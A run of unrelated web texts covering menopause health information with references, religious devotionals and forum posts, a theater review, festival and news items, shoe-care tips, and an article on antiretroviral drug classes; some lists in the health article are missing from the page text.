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Menopause -- when a woman stops menstruating and can no longer get pregnant -- is a natural event, not a disease or illness. However, for some women the physical and emotional symptoms can be difficult.
Menopause involves hormonal changes in your body that may cause physical symptoms: As the ovaries stop producing estrogen and progesterone, the female sex hormones, estrogen levels decline over a period of years. That decline can cause hot flashes, night sweats, and mood swings.
For some women, menopause may bring on feelings of sadness. However, it's important to remember that menopause doesn't mean an end to your sexuality or that you are any less feminine. In fact, some women find the years after menopause to be a time of freedom, when they no longer have to think about having a period or becoming pregnant.
Today, an estimated 50 million women in the United States have reached menopause. Most women will spend at least one-third of their lives in or beyond menopause.
Technically, menopause is considered complete when a woman has not had a period for an entire year. On average, menopause occurs at age 51, but it varies from person to person. Because menopause is a process that happens over several years, it is divided into two phases. Perimenopause, when you begin having symptoms but are still having periods, can last 4 - 5 years. Postmenopause occurs once you have gone 12 months without a period. Your ovaries have stopped releasing eggs and produce much less estrogen.
Another type of menopause, known as surgical menopause, happens if both ovaries are removed for medical reasons. This may be done if you have a hysterectomy, the removal of the uterus.
After menopause, women lose the protective effects of estrogen and are at increased risk for osteoporosis and heart disease. There are a variety of treatments available, however, to help ease the symptoms and reduce health risks associated with menopause.
Symptoms of menopause vary from woman to woman. Some studies even suggest that the signs and symptoms of menopause may vary between cultural groups. For example, up to 80% of American women experience hot flashes while only 10% of Japanese women have that symptom. Some researchers think that may be due to differences in diet, lifestyle, or cultural attitudes toward aging.
The following are general symptoms of menopause:
Post menopausal women are at increased risk for:
Menopause is caused by a gradual reduction in the amount of estrogen and progesterone made by the ovaries. Both hormones regulate your periods and enable you to become pregnant. In the years leading up to menopause, the ovaries start to produce lower amounts of estrogen and progesterone. The timing of menopause can vary greatly from woman to woman. Studies indicate that women who smoke may reach menopause at a younger age than those who do not smoke. Some researchers think the timing of menopause may be hereditary, but so far there isn't much scientific evidence to back up that theory.
Although menopause usually happens naturally, it can happen through surgical removal of the ovaries (surgical menopause). Menopause can also be caused by ovarian failure from cancer therapy, such as chemotherapy or radiation treatments.
Menopause is part of the natural aging process for all women, unless it is caused by surgical removal of both ovaries. Surgical menopause tends to cause symptoms to come on more quickly. The following risk factors may also make menopausal symptoms occur faster:
Most women will recognize the signs that they are going through menopause. However, if you start to skip periods suddenly you should see your doctor for a pregnancy test. It is possible to become pregnant when going through perimenopause -- as long as you are having periods, even if they're irregular, you can get pregnant. In some cases, your doctor may order blood tests to check hormone levels. Your doctor may also suggest a bone density measurement. If you have moderate or severe symptoms that interfere with your life, talk to your doctor about what treatments might be right for you.
Although you can't prevent menopause, you can take action to reduce your risk of complications, such as osteoporosis and heart disease:
Menopause tself doesn't need treatment, but you may want to treat some symptoms and reduce your risk of long term medical conditions, such as heart disease and osteoporosis, that are more common after menopause. Many treatment options are available, so it is important to discuss them with your doctor.
In the past, a number of women took hormone replacement therapy (HRT), which consists of supplemental estrogen and progesterone. Those without a uterus (womb) sometimes took estrogen replacement therapy (ERT), which consists of estrogen alone. Only women who have had a hysterectomy usually take ERT, because taking estrogen without progesterone increases the risk of uterine cancer.
Taking HRT seemed to help reduce symptoms such as hot flashes, and it was thought that it also reduced a woman's risk of heart disease. But an important 2002 study, the Women's Health Initiative, found that HRT and ERT posed more risks than benefits. That study showed that women who took HRT for several years had an increased risk of breast cancer, heart disease, stroke, and blood clots. Women who took ERT long term, for more than 7 years, had a greater risk of stroke.
While the Women's Health Initiative didn't find a greater risk of breast cancer among women who took ERT for 7 years, other studies have found a slightly increased risk at 10 years. Right now the evidence shows that taking estrogen long-term slightly increases the risk for breast cancer, and taking it with progesterone increases the risk more.
Researchers have begun new studies to look at HRT, but the results aren't known yet. The Women's Health Initiative looked at women who were already past menopause -- the average age was 63. So researchers don't know if the same results would apply to women who took HRT early in menopause, and for a shorter period of time. Currently, the decision about whether to take HRT is an individual one. If your menopause symptoms are so severe that they interfere with your daily life, talk to your doctor about the risks and benefits of using HRT for a short period of time.
In addition, there are non-hormonal medications and non-drug therapies that can help reduce your symptoms and lower your risk for long term medical problems that sometimes occur after menopause.
The benefits of exercise include:
Eating a healthy, well balanced diet can help you reduce the risks and discomforts associated with menopause. A diet low in saturated fat and cholesterol, for example, may reduce your risk of heart disease by providing the following benefits:
Some evidence suggests that eating soy-based foods such as tofu might help reduce certain symptoms of menopause, including hot flashes. Adding plenty of calcium and vitamin D to your diet should help you avoid bone loss. Foods rich in calcium include dairy products, leafy green vegetables, almonds, and dried beans. High-fiber foods may also help lower your risk of high cholesterol and heart disease.
Several medications are available to treat the symptoms of menopause and to help you maintain your health as you grow older.
Hormone replacement therapy (HRT) -- Your doctor may suggest using supplemental estrogen to provide relief from your symptoms depending on a number of factors, including your medical and family history, risk for hormone related cancers such as breast cancer, age, and the severity of your symptoms. You and your doctor will carefully weigh the risks and benefits of HRT and prescribe the lowest dose of estrogen for your symptoms.
Low dose antidepressants -- Venlafaxine (Effexor), an antidepressant that is related to the class of drugs known as selective serotonin uptake reinhibitors (SSRIs), can help reduce hot flashes. Other SSRIs, such as fluoxetine (Prozac), sertraline (Zoloft), may also help.
Gabapentin (Neurontin) -- This drug, which is approved to treat seizures, also helps reduce hot flashes.
Bisphosphonates -- These drugs are used to prevent and treat osteoporosis. They reduce bone loss and the risk of fractures. They include:
Selective estrogen receptor modulators (SERMs) -- This type of drug has a positive effect on bone health, much like estrogen but without estrogen's side effects. Currently one drug, raloxifene (Evista), is approved for use. It can cause hot flashes, and should not be taken by anyone with a history of blood clots.
Vaginal estrogen -- Estrogen tablets, rings, or creams can be applied locally to relieve vaginal dryness.
Some symptoms of menopause, especially hot flashes, show improvement when women take placebo, making it harder to tell if a treatment is working. Some researchers think other nutrients in soy are responsible for reducing symptoms.
Researchers also aren't sure whether isoflavone supplements would increase risk of breast cancer after menopause, just as supplemental estrogen does. More studies are needed. In the meantime, it may be better to include soy foods in your diet instead of taking supplements. Talk to your doctor to see which is best for you. Tofu, soy nuts, tempeh, and soy milk are good sources of soy.
As with soy, researchers aren't sure whether flaxseed supplements would also increase risk of breast cancer after menopause, just as supplemental estrogen does. More studies are needed. In the meantime, it may be better to include flaxseed in your diet instead of taking supplements. Talk to your doctor to see which is best for you. Flaxseed also contains alpha-linolenic acid, which the body converts into omega-3 fatty acids. These fatty acids are good for heart health.
It can be hard to get enough calcium through your diet, so you may need to take a supplement. It is important to read the label to see how much elemental calcium a supplement contains (that's how much calcium your body can actually use). There are several kinds of calcium supplements. Calcium citrate seems to be more easily absorbed by the body, but it has less elemental calcium than calcium carbonate. Calcium carbonate, however, needs an acid environment to be absorbed, so is best taken with a glass of orange juice.
No matter which form of calcium you take, it's better to divide your doses throughout the day so that you are not taking more than 500 mg at a time. You may have to take more than one dose as a result. Remember that you may also get some calcium through your diet, and count that into your total for the day.
The use of herbs is a time honored approach to strengthening the body and treating disease. Herbs, however, can trigger side effects and can interact with other herbs, supplements, or medications. For these reasons, you should take herbs with care, under the supervision of a health care practitioner. Treatments used to relieve menopause symptoms vary in their effectiveness from woman to woman. As with prescription medication taken to relieve menopause symptoms, some women may find relief with complementary therapies while others may not.
The following herbs are also sometimes suggested to relieve symptoms such as hot flashes, vaginal dryness, and mood swings, although evidence is mixed or lacking. Like soy, they may contain plant based estrogens (phytoestrogens) that could act like estrogen in the body and possibly raise the risk of breast cancer. Talk to your doctor before taking these herbs:
In the past, wild yam (Dioscorea villosa) has sometimes been mentioned as a treatment for menopausal symptoms, because hormones including progesterone were manufactured from wild yam in the 1960s. However, studies show that the body is not able to convert wild yam into progesterone, so it is not likely to help relieve any symptoms of menopause.
Several studies show acupuncture may help many women with symptoms of menopause, particularly with hot flashes and mood changes.
Although few studies have examined the effectiveness of specific homeopathic therapies, professional homeopaths may consider the following remedies for the treatment of menopause based on their knowledge and experience. Before prescribing a remedy, homeopaths take into account a person's constitutional type. A constitutional type is defined as a person's physical, emotional, and psychological makeup. An experienced homeopath assesses all of these factors when determining the most appropriate treatment for each individual.
Some studies suggest that learning to relax the body (through slow, deep breathing) may reduce the intensity of hot flashes.
As estrogen levels decline during menopause, a woman's risk of developing the following conditions may increase:
Menopause is part of the natural aging process for all women. There are many therapies available, however, to help ease the symptoms and reduce health risks associated with menopause. Selecting the right treatment for you can minimize discomfort and maximize the opportunities for a vital, healthy, satisfying life during and after menopause.
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Bai W, Henneicke-von Zepelin HH, Wang S, Zheng S, Liu J, Zhang Z, et al. Efficacy and tolerability of a medicinal product containing an isopropanolic black cohosh extract in Chinese women with menopausal symptoms: a randomized, double blind, parallel-controlled study versus tibolone. Maturitas. 2007 Sep 20;58(1):31-41.
Briese V, Stammwitz U, Friede M, Henneicke-von Zepelin HH. Black cohosh with or without St. John's wort for symptom-specific climacteric treatment -- results of a large-scale, controlled, observational study. Maturitas. 2007 Aug 20;57(4):405-14.
Chandeying V, Sangthawan M. Efficacy comparison of Pueraria mirifica (PM) against conjugated equine estrogen (CEE) with/without medroxyprogesterone acetate (MPA) in the treatment of climacteric symptoms in perimenopausal women: phase III study. J Med Assoc Thai. 2007 Sep;90(9):1720-6.
Green J, Denham A, Ingram J, Hawkey S, Greenwood R. Treatment of menopausal symptoms by qualified herbal practitioners: a prospective, randomized controlled trial. Fam Pract. 2007 Oct;24(5):468-74.
Hidalgo LA, Chedraui PA, Morocho N, et al. The effect of red clover isoflavones on menopausal symptoms, lipids and vaginal cytology in menopausal women: A randomized, double-blind, placebo-controlled study. Gynecol Endocrinol. 2005;21:257-264.
Huang MI, Nir Y, Chen B, et al. A randomized controlled pilot study of acupuncture for postmenopausal hot flashes: effect on nocturnal hot flashes and sleep quality. Fertil Steril. 2006;86:700-710.
Kreijkamp-Kaspers S, Kok L, Grobbee DE, et al. Effect of soy protein containing isoflavones on cognitive function, bone mineral density, and plasma lipids in postmenopausal women. JAMA. 2004;292:65-74.
Low Dog T. Menopause: a review of botanical dietary supplements. The American Journal of Medicine. 2005;118(12) Suppl 2.
Lucas M, Asselin G, Merette C, et al. Effects of ethyl-eicosapentaenoic acid omega-3 fatty acid supplementation on hot flashes and quality of life among middle-aged women: a double-blind, placebo-controlled, randomized clinical trial. Menopause. 2009;16:357-66.
Lund K. Menopause and the Menopausal Transition. Medical Clinics of North America. 2008;92(5).
Osmers R, Friede M, Liske E, et al. Efficacy and safety of isopropanolic black cohosh extract for climacteric symptoms. Obstet Gynecol. 2005;105:1074-1083.
Pockaj BA, Gallagher JG, Loprinzi CL, et al. Phase III Double-Blind, Randomized, Placebo-Controlled Crossover Trial of Black Cohosh in the Management of Hot Flashes: NCCTG Trial N01CC1. J Clin Oncol. 2006;24:2836-2841.
Poulsen RC, Moughan PJ, Kruger MC. Long-chain polyunsaturated fatty acids and the regulation of bone metabolism. Exp Biol Med (Maywood). 2007 Nov;232(10):1275-88. Review.
Pruthi S, Thompson SL, Novotny PJ, Barton DL, Kottschade LA, Tan AD, et al. Pilot evaluation of flaxseed for the management of hot flashes. J Soc Integr Oncol. 2007 Summer;5(3):106-12.
Rani S. The psychosexual implications of menopause. Br J Nurs. 2009;18(6):370-3.
Robien K, Cutler GJ, Lazovich D. Vitamin D intake and breast cancer risk in postmenopausal women: the Iowa Women's Health Study. Cancer Causes Control. 2007 Sep;18(7):775-82.
Secreto G, Chiechi LM, Amadori A, et al. Soy isoflavones and melatonin for the relief of climacteric symptoms: a multicenter, double-blind, randomized study. Maturitas. 2004;47:11-20.
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Spangler L, Newton KM, Grothaus LC, Reed SD, Ehrlich K, LaCroix AZ. The effects of black cohosh therapies on lipids, fibrinogen, glucose and insulin. Maturitas. 2007 Jun 20;57(2):195-204.
Uebelhack R, Blohmer JU, Graubaum HJ, et al. Black cohosh and St. John's wort for climacteric complaints: a randomized trial. Obstet Gynecol. 2006;107:247-255.
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Zaborowska E, Brynhildsen J, Damberg S, et al. Effects of acupuncture, applied relaxation, estrogens, and placebo on hot flushes in postmenopausal women: an analysis of two prospective, parallel, randomized studies. Climacteric. 2007;10:38-45.
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Dodatsu wrote:Huseng wrote:steveb1 wrote:Shin respects all schools of Buddhism.
Historically in many Shin temples reciting the Heart Sutra was forbidden.
The Heart Sutra is not part of our Shin Buddhist canon/liturgy, so why must or should we chant it in our temples? Not chanting it does not mean we do not respect it, in fact lectures on many non-Shin Buddhist scriptures have taken place at the annual Summer Retreat held at Nishi Hongwanji for centuries.
There is a difference between forbidding the recitation of a specific scripture (incidentally quite popular with a rival school) and simply not reciting it as part of your liturgy.
Connect the dots and another image of "respect" emerges.

subset: commoncrawl


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Multnomah used to be the last college Anne Partridge wanted to attend. Then a visit to campus changed her mind entirely. Now only months from graduating, she can't think of anywhere else she'd rather be.
"It became clear to me while I was at MU that you're a caged bird until you find freedom in the Lord," Partridge says. "People think it's the opposite — that Christianity is rules-based and legalistic, but it's not. A free bird has the world at its wings." Read her story.


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The end of the Gospel of Mark is, shall we say, indecisive. Mark's account of the resurrection begins with the women going to anoint Jesus body and discovering the stone rolled away, Jesus' body gone missing, and "a young man, dressed in a white robe" sitting in the tomb. This man tells them not to [Read More…]
Resurrection: Calculating the Probabilities
April 14, 2014 by 4 Comments


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The Madrid
Theater review by David Cote. Manhattan Theatre Club. By Liz Flahive. Dir. Leigh Silverman. With Edie Falco, Phoebe Strole. 2hrs 10mins. One intermission.
When the formidable Edie Falco wraps a season on Nurse Jackie, I imagine her hankering for live action. She's ready to bite off a piece of Medea or try Shakespeare in the Park. Maybe she wants to learn what the fuss is about with Annie Baker or Thomas Bradshaw, go for something more experimental—didn't Frances McDormand go slumming with the Wooster Group a few years back? Sadly, Falco has returned to the boards playing it safe. Not only is she sticking with her Nurse Jackie script editor, Liz Flahive, The Madrid is the sort of well-behaved, semi-quirky dramedy that has become boringly common at Manhattan Theatre Club's Stage I.
At the center of this domestic yarn is a kernel that could stir the blood or even chill it: Kindergarten teacher, mother and wife Martha (Falco) decides to abandon her family. Without warning, she decamps for the titular seedy hotel, leaving behind a 21-year-old, still-finding-herself daughter, Sarah (Strole), and a sweet but passive husband, John (John Ellison Conlee). Eventually, she reestablishes contact with Sarah, but shows no remorse and refuses to explain herself, her face a bemused, perky mask. We learn that this runaway mom has a history of flightiness. But Flahive's failure to unpack Martha's psychology and her paint-by-numbers plotting lead to a drama vacuum as we wait for the inevitable (understated) showdown between husband and wife. I suspect that Flahive has been sitting on The Madrid for a while; its references to Match.com and Black Swan smell of a writer's bottom drawer.
Director Leigh Silverman and a capable if uninspired cast give the affair a professional gloss. Rock music pipes in during scene transitions, possibly to wake up the audience. The best you can say about The Madrid is that it could have made an okay episode on network TV.—David Cote
Follow David Cote on Twitter: @davidcote
|Venue name:
|Manhattan Theatre Club
131 W 55th St
New York
|Cross street:
|between Sixth and Seventh Aves
|Subway: B, D, E to Seventh Ave; F, N, Q, R to 57th St
|Event website:


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Daily Devotions
Daily Devotions Podcast
Truth In Real Life
Truth In Real Life Podcast
"Let your conversation be without covetousness; and be content with such things as ye have: for he hath said, I will never leave thee, nor forsake thee." (Hebrews 13:5)
Have you ever missed the school bus or a ride to an activity that was important to you? Being left is a terrible feeling! It is embarrassing and frustrating, and it can also be really sad – especially if you miss out on something you were really hoping to see or do. Sometimes it can even be dangerous to be left behind. What if you accidentally got left in a football stadium? What if you were on a hiking trail and got separated from your friends? It could be scary, and lonely, and maybe even harmful to be left like that.
Sometimes we rely on people too much. It is okay to count on your friends and family to keep an eye out for you and to remember your needs and hopes. But friends and family are human, and sometimes they forget or make mistakes. Some people might take off on you because they want to do something selfish for themselves, or some might turn their back on you when you have done something wrong. People are human. They might let you down. They might give up on you. They might leave you.
The writer of Hebrews 13:5 was reminding readers of what Jesus said to His disciples – that He would never leave them. He would never forsake them. Jesus is God; He is greater than our human friends and family. He is better than anything we might try to be or to get on our own. In this verse, the Bible shows us the kind of God Who promises to be faithful. That means He is not the kind of God Who lets His people down. He is not the kind of God Who leaves His people alone. He keeps His promises.
God is not a leaver. He has always been more trustworthy than anything or anyone else. He has always been more faithful than any of our friends and family could ever hope to be. He is God and always has been. In the Old Testament (Psalm 27:10), the psalmist writes, "When my father and my mother forsake me, then the LORD will take me up." Most fathers and mothers would die before giving up on their children or leaving their children! But if a parent ever did give you up or leave you behind, you could still count on God. Even if you yourself fail, even if your best-loved friends and family fail, and even if everything you know and trust were to drop suddenly off the face of the Earth, you can remember that God is not a leaver. He is not a forsaker.
Again, the writer of Hebrews 13:5 was reminding the Hebrew Christians what Jesus told His disciples about never leaving them. It is for this reason – that Jesus does not leave us – that this verse teaches we should not covet. If we remember the kind of God we have – that He will never leave or forsake His people – then we do not need to want things we do not have. We should not desire something so much that we think we need it in addition to God or instead of God.
Do you ever wish you could have a certain thing? Do you ever wish you could have a certain someone for a friend? Remember that things, and even humans who love you, will fail you. Look at those things and people you trust the most. If they were ever to leave you or let you down, would you have anything left? Do not covet things or people to keep you company. Count on God to stay with you.
God is not the kind of God Who leaves. We can count on Him more than anyone or anything else.
My Response: » Am I trying to collect things or get friends so that I can protect myself from being lonely? » What are some Bible reasons for trusting God to take care of me and be with me?
"Don't rely too much on labels, for too often they are fables."
Charles Haddon Spurgeon, often called "C.H." Spurgeon, is known as the most famous British Baptist preacher in Christian history. Born on June 19, 1834, he has often been called "the Apostle Paul of his generation." Remarkably, he was never taught to preach, yet he became the most popular preacher in all of London.
At age 15, he was walking home, when the sky above him suddenly opened into a terrible snowstorm. Looking for somewhere to stay warm until the storm passed, he ducked into a church building where a service was taking place. The preacher was reading Isaiah 45:22 about looking to Jesus as the substitute Lamb slain for our sins, and the simple message of it changed Charles Spurgeon's whole worldview. God opened Spurgeon's spiritual eyes so he could look to Jesus that day for salvation.
He began preaching at age 16. Soon, he was preaching to crowds of 10,000 at a time – and this was before microphones were invented! From the very beginning, Charles Spurgeon was a gifted speaker and a powerful preacher. By age 20 he had already preached over 600 times. At age 25, he built the famous Metropolitan Tabernacle which seated 5,000 for each service. Even that was not enough room, since usually 1,000 or so more people would have to stand outside the Tabernacle to listen.
People began to call Spurgeon "the Prince of Preachers," and his sermons were published in written form like a newsletter each week. By the end of his life, he had preached more than 3,600 sermons and published over 49 books and commentaries.
He married Susannah and raised twin sons. With his family, he helped start the Pastor's College and the Stockwell Orphanage. He often said, "I'd rather be poor in His service than rich in my own."
What would you prefer? What would you like to be rich in – God's service or man's wealth?
Isaiah 45:22 – "Look to Me, and be saved, all you ends of the earth! For I am God, and there is no other."
Who Forgiveth All Thine Iniquities
Psalm 103:3 "Who forgiveth all thine iniquities; who healeth all thy diseases;"
No. Because salvation is a gift and calling of God, it is unchangeable. Rom 11:29 -- For the gifts and calling of God are without repentance [unalterable].
The word "trinity" is not in the Bible. "Tri" means three. The Persons of the Trinity exist as Father, Son and Holy Spirit. Each person is fully God and has all the characteristics and qualities of God. In the book of Genesis, there is a verse which verifies that God was not alone in the world's creation. Genesis 1:26 reads, "And God said, Let us make man in our image, after our likeness." In the book of John, Jesus tells how important it was that He go to the Father so the "Comforter" (the Holy Spirit) could come into the world.
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Some say it's Cedar City's "other festival."
Clarence Gilyard, known for his roles in "Matlock" and "Walker, Texas Ranger," has his own description of The Neil Simon Festival a Utah treasure.
The festival begins its 11th season Wednesday, July 10, with three plays by one of America's most popular playwrights "The Sunshine Boys," "45 Seconds from Broadway" and "Lost in Yonkers."
The schedule also includes the first professional production of the musical "Song-Poems Wanted!", the inaugural winner of the Neil Simon Festival New Play Contest in 2011.
In "The Sunshine Boys," Eddie Mekka and David Meyers portray an old vaudeville duo whose 43 year-old act fell apart because of disputes. A television special prompts them to come back together, which brings back floods of memories and laughs.
Mekka, known as Carmine "The Big Ragu" Ragusa on the 1970s TV comedy "Laverne & Shirley," plays Willie Clark. Meyers, who plays Al Lewis, is a noted company member of many regional theaters and had roles in "Men of Honor" with Robert DeNiro and "Firefox" with Clint Eastwood.
The performance is a perfect fit for the duo, said Richard Bugg, founder of the Neil Simon Festival. Bugg wanted to put on the play for some time, but waited until he could cast the right pair. The director is Gilyard, a theater professor at the University of Nevada-Las Vegas.
Another comedy, "45 Seconds from Broadway," is about a coffee shop near Broadway in New York City. It's one of Simon's least successful plays, but offers classic one-liners and an air of seriousness when its main character, a comedian, is asked to help his nephew become a comedian as well.
On the more serious side is "Lost in Yonkers," arguably Simon's most successful work as it won a 1991 Pulitzer Prize. Set in the 1940s, it follows the life of a young boy whose father goes away to work and leaves his two sons with their grandmother. The older boy goes through a coming-of-age experience and is tasked with taking care of his younger brother.
"You'll get plenty of laughter" from the comedies, said Bugg, who also is directing "Lost in Yonkers." "But this one touches you to the core."
The final offering, "Song Poems Wanted!", is the work of Theatre Building Chicago, which follows the lives of people who write song poems and why they do it.
Bugg hopes attendance at the 2013 festival continues to increase as it has over the years. While the festival went through some tough times financially, Bugg said it's slowly getting better and there are now regular attendees from as far away as New Jersey.
"I think Neil Simon is a national treasure," he said. "He has a very unique rhythm to his writing and has an understanding in American culture. His plays are very universal and I think 200 years from now we will be still producing his works."
The Neil Simon Festival
When • July 10 through Aug 10
Where • The Heritage Theater, 105 N. 100 East, Cedar City
Tickets • $21-$26; 435-267-0194 or Simonfest.org


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Shoes must be protected from water, wet conditions and dirt. Since wet conditions and dirt affect leather's natural properties, such as temperature control and comfort, shoe care is a very important area.
- Use a brush to remove any dirt, or brush the shoe under running water to remove persistent soiling
- Leather cleaning products are not recommended since the soap damages the waterproofing treatment
- After cleaning the shoes, rub in the appropriate wax or silicone-based care products or polish them using a soft brush
- Dry leather needs nutrients in the form of wax (no grease or oil). Apply a very thin layer and then work into the leather
- The application of wax makes nubuk or velours leather appear darker and smoother. Liquid care products maintain the leather's original appearance for longer, but provide fewer nutrients
- The best way to clean the lining (textile, GORE-TEX® and leather) is using lots of cold water and a sponge. The lining retains high quantities of salt from perspiration. In the long term, these can have a damaging effect on textiles and leather lining materials.
- A waterproofing treatment should be applied regularly to footwear. We recommend sprays without fluorcarbone, the surrounding says thank you!
- Waterproofing treatments work best when applied immediately after cleaning, once the shoe is completely dry. To ensure maximum performance, we recommended reapplying a waterproofing treatment the day before a tour.
- Waterproofing is important to keep your feet dry. Leather or textiles saturated with dirt and water are no longer able to breathe, resulting in increased perspiration.
- To achieve optimal resistance to water and dirt, the waterproofing treatment should be applied to clean and dry leather. Clean the shoes first.
- The waterproofing treatment can be applied as soon as the leather is completely dry.
- Spray the shoes thoroughly in a well-ventilated room or in the open air, using slow and even movements, from a distance of around 20 cm.
- Wait until the shoes are completely dry before wearing them. 100 percent protection will be achieved after around 24 hours.
If leather is not cared for regularly, it becomes hard and brittle and its appearance suffers. Shoe care is important to prevent this. This makes the leather pliant, flexible and keeps it looking good. Regular care also prevents the appearance of small cracks.
- Remove shoelaces and insoles.
- Carefully remove dirt from the shoes using a brush. For persistent soiling, you can also brush the shoes under running water. Do not use any cleaning products. Soap damages leather.
- Stuff cleaned leather shoes with newspaper, and change the newspaper regularly. This helps them to dry faster. (N.B. GORE TEX-lined shoes dry better without any newspaper inside them)
- Wait until the leather is completely dry, before treating them.
Freshening up
Our feet can be encased in our shoes for up to 16 hours during long hikes, bicycle tours or a long working day. Sweat accumulates in socks and shoes. The comforting warmth of this enclosed damp environment creates the ideal breeding ground for germs. Regular application of freshening products helps to keep the inside of your shoes fresh and clean.
If stored properly, a shoe retains its shape and function for a longer period. Never store shoes when they are wet or dirty. This makes the leather brittle.
- After wearing, store shoes with tongues fully open and insoles removed in a shady, dry and well-ventilated area
- Shoe trees should always be placed in dry shoes before storage
- Never store shoes when they are wet, or in poorly ventilated places, such as in a car, a plastic bag or a cellar
- Do not dry near a source of heat (fire, hot stove, etc.)
- Shoes with leather linings can be stuffed with newspaper. Shoes with a GORE-TEX lining dry faster without any newspaper inside


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Wed Jan 16, 2013 5:55 pm
Thu Jan 17, 2013 12:45 am
Stephen Butler wrote:Hi Paul - I continue to admire your tireless work on producing wonderful photos of Elvis, but I thought it worth mentioning that the photos you feature of Elvis' attendance at Nancy Sinatra's opening party also feature the great Fred Astaire in at least two of them. I only mention it because I have long been in envy of those others present who must have marvelled at being in the same room as Elvis Presley, Frank Sinatra and Fred Astaire all at once. Cheers!
Thu Jan 17, 2013 10:22 pm
Fri Jan 18, 2013 12:00 am
Fri Jan 18, 2013 1:51 am
Stephen Butler wrote:Thank you Paul. What a night that must have been. What a film it could have been, with Sinatra, Presley and Astaire all in the cast. Who would have got top billing? Paul, may I reproduce the photo in a Facebook post? You will of course receive credit for hosting the photo. Cheers, Stephen.
Sun Jan 20, 2013 2:29 pm
Hosted by ElviCities


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Abbott: Challenge to New San Antonio NDO Could Come This Week
Texas Attorney General Greg Abbott tells 1200 WOAI news he's serious about filing a federal lawsuit against San Antonio's newly enacted Gay and Lesbian Non Discrimination Ordinance, and says litigation to block the new law may be filed as early as this week.
The law, which was passed 8-3 on Thursday, adds sexual orientation and 'gender identity' to the state's current non discrimination laws.
But Abbott and other conservative activists say haste on the part of supporters to ram the NDO through, and last minute changes made during the debate make the law a 'mess' and make it unenforceable and illegal.
"Section 32 of Article One of the Texas Constitution concerns same sex marriage," Abbott said. "If someone says we are going to stand on the law, they would be guilty of violating that San Antonio ordinance."
The state has a 'supremacy clause' much like the federal government, stressing that municipal law cannot override state law.
Abbott says the San Antonio law does just that, violating several state laws.
"There is a provision in here, that seems to silence anyone who may have a disagreement with that ordinance," Abbott said. "I believe that violates the First Amendment protections of freedom of speech and freedom of religion, and violates the Texas Constitution."
Supporters say all the new law does is adds to protections already in place barring discrimination against a wide variety of individuals.
But Abbott and other conservatives say supporters went too far by providing punishments and sanctions to those who may disagree with the new proposal, leaving it open to a successful court challenge.


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Gene Simmons Supporting Donald Sterling & Changing Redskins Name
Listen to KISS Radio on iHeartRadio
Gene Simmons says he's "on the side of Don Sterling." The KISS bassist tells The Wall Street Journal the embattled L.A. Clippers owner is "heinous of course," but he believes Sterling "was ambushed," and consequently "should have done penance and paid a fine."
Simmons explains that he sees it as a first amendment issue, and he's "on the side of free speech in the privacy of your own home or privacy of the situation." He adds that if everyone who ever made "an off color joke or racist rant privately" were fired over it, "nobody would have a job."
But Gene doesn't side with the owners of Washington's NFL team. He says he can empathize with Native Americans, admitting that "as a Jew" he wouldn't be happy if a team's name was a derogatory term referencing people of his faith.
Simmons explains that the name "Redskins" was "launched at a time when white people weren't sensitive to the idea that you're actually insulting an entire race of people," but now "you've got to make the change."
Simmons' venture into the sports world as an owner of a new Arena Football team is documented in the reality series "4th and Loud," which debuts on AMC on August 12th at 9:00 p.m. Eastern.
Photo: Getty Images


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Assessment |
Biopsychology |
Comparative |
Cognitive |
Developmental |
Language |
Individual differences |
Personality |
Philosophy |
Social |
Methods | Statistics | Clinical | Educational | Industrial | Professional items | World psychology |
Biological: Behavioural genetics · Evolutionary psychology · Neuroanatomy · Neurochemistry · Neuroendocrinology · Neuroscience · Psychoneuroimmunology · Physiological Psychology · Psychopharmacology (Index, Outline)
This is a background article. For psychological research in this area see:
Antiretroviral drugs are medications for the treatment of infection by retroviruses, primarily HIV. When several such drugs, typically three or four, are taken in combination, the approach is known as highly active antiretroviral therapy, or HAART. The American National Institutes of Health and other organizations recommend offering antiretroviral treatment to all patients with AIDS. Because of the complexity of selecting and following a regimen, the severity of the side effects and the importance of compliance to prevent viral resistance, however, such organizations emphasize the importance of involving patients in therapy choices and recommend analyzing the risks and the potential benefits to patients without symptoms.[1]
There are different classes of antiretroviral drugs that act at different stages of the HIV life cycle.
Classes of drug Edit
Antiretroviral drugs are broadly classified by the phase of the retrovirus life-cycle that the drug inhibits.
- Nucleoside and nucleotide reverse transcriptase inhibitors (nRTI) inhibit reverse transcription by being incorporated into the newly synthesized viral DNA and preventing its further elongation.
- Non-nucleoside reverse transcriptase inhibitors (NNRTI) inhibit reverse transcriptase directly by binding to the enzyme and interfering with its function.
- Protease inhibitors (PIs) target viral assembly by inhibiting the activity of protease, an enzyme used by HIV to cleave nascent proteins for final assembly of new virons.
- Integrase inhibitors inhibit the enzyme integrase, which is responsible for integration of viral DNA into the DNA of the infected cell. There are several integrase inhibitors currently under clinical trial, and raltegravir became the first to receive FDA approval in October 2007.
- Entry inhibitors (or fusion inhibitors) interfere with binding, fusion and entry of HIV-1 to the host cell by blocking one of several targets. Maraviroc and enfuvirtide are the two currently available agents in this class.
- Maturation inhibitors inhibit the last step in gag processing in which the viral capsid polyprotein is cleaved, thereby blocking the conversion of the polyprotein into the mature capsid protein (p24). Because these viral particles have a defective core, the virions released consist mainly of non-infectious particles. There are no drugs in this class currently available, though two are under investigation, bevirimat[2] and Vivecon.
Fixed-dose combinationsEdit
Fixed dose combinations are multiple antiretroviral drugs combined into a single pill.
Synergistic enhancers Edit
Synergistic enhancers either do not possess antiretroviral properties alone or are inadequate or impractical for monotherapy, but when they are taken concurrently with antiretroviral drugs they enhance the effect of one or more of those drugs (often by altering the metabolism of antiretrovirals). These include ritonavir which is an antiretroviral drug which belongs to the class of protease inhibitors. It can however be administered at a "baby" dosage to reduce the liver metabolism of other antiretroviral drugs. This principle was first exploited in the drug Kaletra (Abbott), which is a combination of ritonavir with the protease inhibitor lopinavir at a ratio (v/v) of 1:4. Ritonavir is also used as an enhancer of other protease inhibitors such as saquinavir and atazanavir, and of the investigational integrase inhibitor, GS-9137. Other synergistic enhancers are being investigated for this purpose.
Combination therapyEdit
